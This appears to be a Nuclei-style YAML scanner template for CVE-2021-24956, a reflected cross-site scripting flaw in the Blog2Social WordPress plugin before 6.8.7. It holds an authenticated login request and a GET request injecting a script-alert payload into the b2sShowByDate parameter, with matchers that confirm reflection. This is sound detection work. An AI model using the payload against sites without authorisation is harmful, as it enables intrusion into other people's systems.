60 lines
2.1 KiB
YAML
60 lines
2.1 KiB
YAML
id: CVE-2021-24956
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info:
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name: Blog2Social < 6.8.7 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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The Blog2Social: Social Media Auto Post & Scheduler WordPress plugin before 6.8.7 does not sanitise and escape the b2sShowByDate parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: Fixed in version 6.8.7
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reference:
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- https://wpscan.com/vulnerability/5882ea89-f463-4f0b-a624-150bbaf967c2
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24956
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24956
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cwe-id: CWE-79
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epss-score: 0.00106
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epss-percentile: 0.42838
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cpe: cpe:2.3:a:adenion:blog2social:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: adenion
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product: blog2social
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framework: wordpress
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tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated,wpscan,adenion
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log={{username}}&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=blog2social&b2sShowByDate="><script>alert(document.domain)</script> HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<script>alert(document.domain)</script>" name='
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- 'Your Activity'
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 490a004630440220042cd2fb898367fc07f4cb3298c1e58d56a40d638fe2fc620c1b250a8cf058ce022003378b6c8c7379aaadf771ca6d247f503cc676811d40ec5a3b27db9ed7fd9644:922c64590222798bb761d5b6d8e72950 |